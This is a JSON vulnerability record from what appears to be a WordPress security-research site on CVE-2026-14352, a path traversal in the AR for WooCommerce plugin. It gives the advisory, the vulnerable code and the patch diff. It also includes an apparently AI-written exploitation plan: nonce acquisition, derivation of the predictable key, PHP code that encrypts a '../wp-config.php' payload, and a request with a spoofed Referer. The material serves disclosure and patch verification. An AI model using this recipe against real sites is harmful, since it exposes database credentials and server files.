[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fjH7lT-eU-aBbRXKsQUAuqPHIpNtPWj7YfQDUFJi705k":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-14352","ar-for-woocommerce-unauthenticated-path-traversal-to-arbitrary-file-read-via-file-parameter","AR for WooCommerce \u003C= 8.40 - Unauthenticated Path Traversal to Arbitrary File Read via 'file' Parameter","The AR for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 8.40 via the 'file' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. The three intended access controls all fail: valid nonces are freely minted by unauthenticated callers via the nopriv ar_get_fresh_nonce and ar_process_user_image AJAX handlers; the AES-256-CBC encryption key is derived from get_option('ar_licence_key'), which returns false on default free installations and yields a predictable key attackers can use to encrypt their own path payloads; and the Referer check is trivially bypassed because the Referer header is attacker-controlled.","ar-for-woocommerce",null,"\u003C=8.40","8.41","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-07-02 15:48:04","2026-07-03 04:30:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2049712a-6ff2-4e2a-98f8-93a493a5bfd3?source=api-prod",1,[22,23,24,25],"ar-woocommerce.php","includes\u002Far-secure-download.php","includes\u002Far-secure-url-generate.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-14352 (AR for WooCommerce)\n\nThis plan outlines the steps required to verify and exploit the unauthenticated path traversal vulnerability in the \"AR for WooCommerce\" plugin.\n\n## 1. Vulnerability Summary\nThe **AR for WooCommerce** plugin (\u003C= 8.40) contains a critical path traversal vulnerability in its secure file serving mechanism. The script `includes\u002Far-secure-download.php` is designed to serve 3D model files (GLB, GLTF, USDZ) using an encrypted path to prevent direct downloads. However, it fails to properly sanitize the decrypted file path before passing it to file system operations. Furthermore, the encryption key defaults to a predictable value in free installations, and the nonce required for the request can be obtained by unauthenticated users.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-content\u002Fplugins\u002Far-for-woocommerce\u002Fincludes\u002Far-secure-download.php`\n- **Vulnerable Parameter:** `file` (GET parameter)\n- **Required Parameters:** `_wpnonce` (GET parameter)\n- **Authentication:** Unauthenticated (Nopriv)\n- **Encryption Requirement:** The `file` parameter must be an AES-256-CBC encrypted string, base64 encoded, following the format `IV::EncryptedData`.\n- **Preconditions:**\n    1. The attacker must obtain a valid WordPress nonce for the action `ar_secure_nonce`.\n    2. The attacker must spoof the `Referer` header to match the site's home URL.\n\n## 3. Code Flow\n1. **Entry Point:** A GET request is sent to `includes\u002Far-secure-download.php`.\n2. **Bootstrap:** The script manually requires `wp-load.php`, loading the full WordPress environment.\n3. **Nonce Validation:** `wp_verify_nonce($_GET['_wpnonce'], 'ar_secure_nonce')` is called.\n4. **Decryption:** The `file` parameter is passed to `ar_validate_and_serve_file()`. This function retrieves the secret key via `get_option('ar_licence_key')`.\n5. **Path Construction:** \n   - `ar_decrypt_file_path()` decrypts the payload.\n   - The code constructs: `$full_file_path = wp_upload_dir()['basedir'] . '\u002F' . $file_path;`.\n6. **Traversal:** If the decrypted `$file_path` contains `..\u002F..\u002F..\u002F..\u002F`, it escapes the uploads directory.\n7. **Sink:** `realpath($full_file_path)` is called, but it only validates existence\u002Freadability, not directory confinement. Finally, `ar_wp_readfile($full_file_path)` outputs the file content.\n\n## 4. Nonce Acquisition Strategy\nTo exploit this as an unauthenticated user, we need a nonce for the `ar_secure_nonce` action. \n\n1. **Shortcode Identification:** The `readme.txt` mentions the `[ardisplay]` shortcode. This shortcode, when rendered for a product with a 3D model, triggers `ar_get_secure_model_url()` which creates the nonce.\n2. **Triggering Nonce Generation:** \n   - Use WP-CLI to create a public page containing the shortcode:\n     `wp post create --post_type=page --post_status=publish --post_title=\"AR Test\" --post_content='[ardisplay id=\"1\"]'`\n3. **Extraction:**\n   - Navigate to the new page using `browser_navigate`.\n   - The plugin likely enqueues scripts using `wp_localize_script`. Based on the description, we should check for localized variables.\n   - Use `browser_eval` to find the nonce: \n     `browser_eval(\"window.ar_display_params?.secure_nonce || window.ar_settings?.nonce\")` (inferred variable names based on common plugin patterns).\n4. **Alternative (AJAX Leak):** The description notes that `wp_ajax_nopriv_ar_get_fresh_nonce` exists. Although the source shows it generating `ar_process_user_image`, we should check if it also exposes other nonces or if `ar_secure_nonce` is reused.\n\n## 5. Exploitation Strategy\n\n### Step 1: Prepare the Encryption Key\nIf no license key is set, `get_option('ar_licence_key')` returns `false`.\nIn PHP, `hash('sha256', false, true)` is equivalent to `hash('sha256', '', true)`. \nThe derived key is: `substr(hash('sha256', '', true), 0, 32)`.\n\n### Step 2: Generate the Payload\nWe want to read `\u002Fetc\u002Fpasswd` or `wp-config.php`.\nDecrypted path: `..\u002F..\u002F..\u002F..\u002Fwp-config.php` (relative to the uploads directory).\n\n**Encryption Logic (Pseudo-code):**\n```php\n$payload = \"..\u002F..\u002F..\u002F..\u002Fwp-config.php\";\n$key = substr(hash('sha256', '', true), 0, 32); \u002F\u002F Default if no license\n$iv = openssl_random_pseudo_bytes(16);\n$encrypted = openssl_encrypt($payload, 'AES-256-CBC', $key, 0, $iv);\n$file_param = base64_encode($iv . '::' . $encrypted);\n```\n\n### Step 3: Execute the Request\nUsing the `http_request` tool:\n- **URL:** `http:\u002F\u002Ftarget.local\u002Fwp-content\u002Fplugins\u002Far-for-woocommerce\u002Fincludes\u002Far-secure-download.php?file=[ENCRYPTED_PAYLOAD]&_wpnonce=[OBTAINED_NONCE]`\n- **Method:** `GET`\n- **Headers:** \n    - `Referer: http:\u002F\u002Ftarget.local\u002F` (Required to bypass the check in `ar_validate_and_serve_file`)\n\n## 6. Test Data Setup\n1. **Enable Plugin:** Ensure `ar-for-woocommerce` is active.\n2. **Create Page:** \n   ```bash\n   wp post create --post_type=page --post_status=publish --post_content='[ardisplay]'\n   ```\n3. **Verify Settings:** Ensure no license key is set (to use the predictable encryption key).\n   ```bash\n   wp option delete ar_licence_key\n   ```\n\n## 7. Expected Results\n- The server should respond with `HTTP 200 OK`.\n- The `Content-Type` will be determined by `ar_get_mime_type`.\n- The response body should contain the plaintext content of `wp-config.php` (including `DB_PASSWORD` and salts).\n\n## 8. Verification Steps\n1. **Verify Response:** Check if the response body contains the string `define( 'DB_NAME'`.\n2. **FileSystem Confirmation:** Compare the output with the actual file content via CLI:\n   ```bash\n   cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n   ```\n\n## 9. Alternative Approaches\n- **Predictable License Key:** If a license key *is* set, check if it's stored in `wp-content\u002Fuploads\u002Far-for-woocommerce\u002F` or if it's a static value provided by the \"onboarding assistant\".\n- **Absolute Paths:** Check if the decryption allows for absolute paths (e.g., `\u002Fetc\u002Fpasswd`) if the `uploads_dir` prefix is bypassed or if `realpath` handles it differently on specific OS configurations.\n- **Different Actions:** If `ar_secure_nonce` is hard to find, check if `wp_ajax_nopriv_ar_process_user_image` allows image processing from a remote URL, which could lead to SSRF.","The AR for WooCommerce plugin for WordPress is vulnerable to unauthenticated arbitrary file read via path traversal in its secure model download endpoint. This vulnerability stems from the plugin failing to validate that a decrypted file path remains within the uploads directory, combined with the use of a predictable default encryption key and easily obtainable nonces.","\u002F\u002F includes\u002Far-secure-download.php lines 21-37\nif (!function_exists('ar_decrypt_file_path')){\n    \u002F\u002F Function to decrypt the file path\n    function ar_decrypt_file_path($encrypted_data, $key) {\n        \u002F\u002F Ensure key length is 32 bytes (256 bits)\n        $key = substr(hash('sha256', $key, true), 0, 32);\n    \n        \u002F\u002F Decode the encrypted data\n        $data = base64_decode($encrypted_data);\n        $parts = explode('::', $data, 2);\n    \n        if (count($parts) \u003C 2) {\n            return false; \u002F\u002F Invalid data format\n        }\n    \n        $iv = $parts[0];\n        $encrypted = $parts[1];\n    \n        \u002F\u002F Decrypt the file path\n        return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv);\n    }\n}\n\n---\n\n\u002F\u002F includes\u002Far-secure-download.php lines 41-53\nif (!function_exists('ar_validate_and_serve_file')){\n    function ar_validate_and_serve_file($encrypted_file_path) {\n        \u002F\u002F Define the secret key for encryption\u002Fdecryption\n        $secret_key = get_option('ar_licence_key'); \u002F\u002F Change this to a secure key\n    \n        \u002F\u002F Decrypt the file path\n        $file_path = ar_decrypt_file_path($encrypted_file_path, $secret_key);\n    \n        \u002F\u002F Get the uploads directory path dynamically\n        $uploads_dir = wp_upload_dir(); \u002F\u002F Get the upload directory information\n        $allowed_directory = $uploads_dir['basedir']; \u002F\u002F Base directory for uploads\n        $full_file_path = $allowed_directory . '\u002F' . $file_path;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Far-for-woocommerce\u002F8.40\u002Fincludes\u002Far-secure-download.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Far-for-woocommerce\u002F8.41\u002Fincludes\u002Far-secure-download.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Far-for-woocommerce\u002F8.40\u002Fincludes\u002Far-secure-download.php\t2026-06-15 01:33:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Far-for-woocommerce\u002F8.41\u002Fincludes\u002Far-secure-download.php\t2026-07-02 00:02:22.000000000 +0000\n@@ -17,6 +17,19 @@\n }\n \n \u002F************* Function to decrypt the file path *******************\u002F\n+if (!function_exists('ar_get_secure_download_secret')){\n+    function ar_get_secure_download_secret() {\n+        $secret = get_option('ar_secure_download_secret');\n+\n+        if (!is_string($secret) || strlen($secret) \u003C 32) {\n+            $secret = wp_generate_password(64, true, true);\n+            update_option('ar_secure_download_secret', $secret, false);\n+        }\n+\n+        return $secret;\n+    }\n+}\n+\n if (!function_exists('ar_decrypt_file_path')){\n     \u002F\u002F Function to decrypt the file path\n     function ar_decrypt_file_path($encrypted_data, $key) {\n@@ -24,7 +37,11 @@\n         $key = substr(hash('sha256', $key, true), 0, 32);\n     \n         \u002F\u002F Decode the encrypted data\n-        $data = base64_decode($encrypted_data);\n+        $data = base64_decode($encrypted_data, true);\n+        if ($data === false) {\n+            return false;\n+        }\n+\n         $parts = explode('::', $data, 2);\n     \n         if (count($parts) \u003C 2) {\n@@ -33,41 +50,72 @@\n     \n         $iv = $parts[0];\n         $encrypted = $parts[1];\n+\n+        if (strlen($iv) !== openssl_cipher_iv_length('AES-256-CBC')) {\n+            return false;\n+        }\n     \n         \u002F\u002F Decrypt the file path\n         return openssl_decrypt($encrypted, 'AES-256-CBC', $key, 0, $iv);\n     }\n }\n+\u002F************* Function to validate a decrypted uploads path *******************\u002F\n+if (!function_exists('ar_validate_secure_download_path')){\n+    function ar_validate_secure_download_path($file_path, $allowed_directory) {\n+        if (!is_string($file_path) || $file_path === '' || strpos($file_path, \"\\0\") !== false) {\n+            return false;\n+        }\n+\n+        $file_path = str_replace('\\\\', '\u002F', $file_path);\n+\n+        if (preg_match('#(^\u002F|^[A-Za-z]:|:\u002F\u002F)#', $file_path) || preg_match('#(^|\u002F)\\.\\.(\u002F|$)#', $file_path)) {\n+            return false;\n+        }\n+\n+        $valid_extensions = array('gltf', 'glb', 'usdz');\n+        $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));\n+        if (!in_array($ext, $valid_extensions, true)) {\n+            return false;\n+        }\n+\n+        $allowed_directory = realpath($allowed_directory);\n+        if (!$allowed_directory) {\n+            return false;\n+        }\n+\n+        $full_file_path = realpath($allowed_directory . '\u002F' . ltrim($file_path, '\u002F'));\n+        if (!$full_file_path || !is_readable($full_file_path)) {\n+            return false;\n+        }\n+\n+        $allowed_directory = rtrim(wp_normalize_path($allowed_directory), '\u002F') . '\u002F';\n+        $full_file_path_normalized = wp_normalize_path($full_file_path);\n+\n+        if (strpos($full_file_path_normalized, $allowed_directory) !== 0) {\n+            return false;\n+        }\n+\n+        return $full_file_path;\n+    }\n+}\n \u002F************* Function to validate and serve the request *******************\u002F\n if (!function_exists('ar_validate_and_serve_file')){\n     function ar_validate_and_serve_file($encrypted_file_path) {\n         \u002F\u002F Define the secret key for encryption\u002Fdecryption\n-        $secret_key = get_option('ar_licence_key'); \u002F\u002F Change this to a secure key\n+        $secret_key = ar_get_secure_download_secret();\n     \n         \u002F\u002F Decrypt the file path\n         $file_path = ar_decrypt_file_path($encrypted_file_path, $secret_key);\n+        if ($file_path === false) {\n+            wp_die('Invalid file request.');\n+        }\n     \n         \u002F\u002F Get the uploads directory path dynamically\n         $uploads_dir = wp_upload_dir(); \u002F\u002F Get the upload directory information\n         $allowed_directory = $uploads_dir['basedir']; \u002F\u002F Base directory for uploads\n-        $full_file_path = $allowed_directory . '\u002F' . $file_path;\n-    \n-        \u002F\u002F Referrer Check: Ensure the request is coming from a valid source\n-        $referer = isset($_SERVER['HTTP_REFERER']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_REFERER'])) : '';\n-        $valid_referer = home_url(); \u002F\u002F You can set this to your site's URL or specific referrers\n-    \n-        if (strpos($referer, $valid_referer) !== 0) {\n-            wp_die('Unauthorized access');\n-        }\n-        if (file_exists($full_file_path)) {\n-            \u002F\u002F Sanitize the file path to ensure it's safe.\n-            $full_file_path = realpath($full_file_path);\n-            \n-            \u002F\u002F Check if the file exists and is readable before proceeding\n-            if (!$full_file_path || !is_readable($full_file_path)) {\n-                wp_die('File not found or inaccessible.');\n-            }\n+        $full_file_path = ar_validate_secure_download_path($file_path, $allowed_directory);\n \n+        if ($full_file_path) {\n \n             \u002F\u002F Prevent caching\n             header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');\n@@ -92,7 +140,7 @@\n     }\n }\n \u002F\u002F Verify the nonce before processing\n-if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_nonce' ) ) {\n+if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'ar_secure_download_nonce' ) ) {\n     \u002F\u002F If the nonce is invalid, stop the process\n     wp_die( __( 'Security check failed.', 'ar-for-woocommerce' ) );\n }","The exploit targets the `\u002Fwp-content\u002Fplugins\u002Far-for-woocommerce\u002Fincludes\u002Far-secure-download.php` endpoint. An attacker first acquires a valid nonce for the 'ar_secure_nonce' action, which can be found by navigating to a public page containing the `[ardisplay]` shortcode. On installations without a license key, the encryption key is predictable (the SHA256 hash of an empty string). The attacker encrypts a path traversal string (e.g., '..\u002F..\u002F..\u002F..\u002Fwp-config.php') using AES-256-CBC with this key and encodes it in the format 'IV::EncryptedData'. Finally, the attacker sends a GET request to the vulnerable endpoint with the encrypted payload and nonce while spoofing the Referer header to match the site's home URL.","gemini-3-flash-preview","2026-07-25 10:00:44","2026-07-25 10:01:18",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","8.40","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Far-for-woocommerce\u002Ftags\u002F8.40","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Far-for-woocommerce.8.40.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Far-for-woocommerce\u002Ftags\u002F8.41","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Far-for-woocommerce.8.41.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Far-for-woocommerce\u002Ftags"]